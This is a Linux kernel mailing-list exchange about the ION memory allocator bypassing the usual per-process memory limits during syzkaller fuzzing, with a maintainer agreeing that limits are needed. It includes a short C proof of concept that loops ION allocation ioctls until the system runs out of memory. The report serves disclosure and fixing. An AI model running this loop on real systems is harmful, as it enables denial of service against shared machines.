On 7/17/19 12:31 PM, Alexander Popov wrote:
Hello!The syzkaller [1] has a trouble with fuzzing the Linux kernel with ION Memory Allocator. Syzkaller uses several methods [2] to limit memory consumption of the userspace processes calling the syscalls for testing the kernel: - setrlimit(), - cgroups, - various sysctl. But these methods don't work for ION Memory Allocator, so any userspace process that has access to /dev/ion can bring the system to the out-of-memory state. An example of a program doing that: #include <sys/types.h> #include <sys/stat.h> #include <fcntl.h> #include <stdio.h> #include <linux/types.h> #include <sys/ioctl.h> #define ION_IOC_MAGIC 'I' #define ION_IOC_ALLOC _IOWR(ION_IOC_MAGIC, 0, \ struct ion_allocation_data) struct ion_allocation_data { __u64 len; __u32 heap_id_mask; __u32 flags; __u32 fd; __u32 unused; }; int main(void) { unsigned long i = 0; int fd = -1; struct ion_allocation_data data = { .len = 0x13f65d8c, .heap_id_mask = 1, .flags = 0, .fd = -1, .unused = 0 }; fd = open("/dev/ion", 0); if (fd == -1) { perror("[-] open /dev/ion"); return 1; } while (1) { printf("iter %lu\n", i); ioctl(fd, ION_IOC_ALLOC, &data); i++; } return 0; } I looked through the code of ion_alloc() and didn't find any limit checks. Is it currently possible to limit ION kernel allocations for some process? If not, is it a right idea to do that? Thanks!
Yes, I do think that's the right approach. We're working on moving Ion out of staging and this is something I mentioned to John Stultz. I don't think we've thought too hard about how to do the actual limiting so suggestions are welcome. Thanks, Laura
Best regards, Alexander [1]: https://github.com/google/syzkaller [2]: https://github.com/google/syzkaller/blob/master/executor/common_linux.h
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